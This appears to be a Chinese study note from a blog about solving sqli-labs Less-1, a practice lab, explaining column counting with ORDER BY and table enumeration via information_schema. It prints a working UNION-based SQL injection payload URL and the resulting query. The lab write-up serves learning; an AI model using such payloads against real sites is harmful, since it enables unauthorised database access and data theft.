sqli-labs闯关学习笔记(一)

1.Error based string

这里先说两个前提:
1.首先将php版本调至5.5以上,否则没有sql错误回显,而且很奇怪单引号会转义(原因我还没有查到,如果有知道的朋友请告诉我)
2.我在github下载的sqli-labs,查看源码后发现,源码有所不同,如果要看到回显需要自己在第三十行加一条:echo $sql;
然后开始配置域名和hosts,进入环境
sqli-labs闯关学习笔记(一)_第1张图片

使用information_schema查询信息
informa_schema
使用order by查询字段数
原因:使用union查询的时候需要满足的条件为UNION 内部的每个 SELECT 语句必须拥有相同数量的列
然后构造payload
http://www.sqli_labs.com/Less-1/?id=%27%20union%20select%201,group_concat(table_name),version()%20from%20information_schema.tables%20where%20table_schema=database()--+
sql语句:

SELECT * FROM users WHERE id='' union select 1,group_concat(table_name),version() from information_schema.tables where table_schema=database()--

sqli-labs闯关学习笔记(一)_第2张图片
就是这样利用infor_schema来获取信息

你可能感兴趣的:(sqli-labs)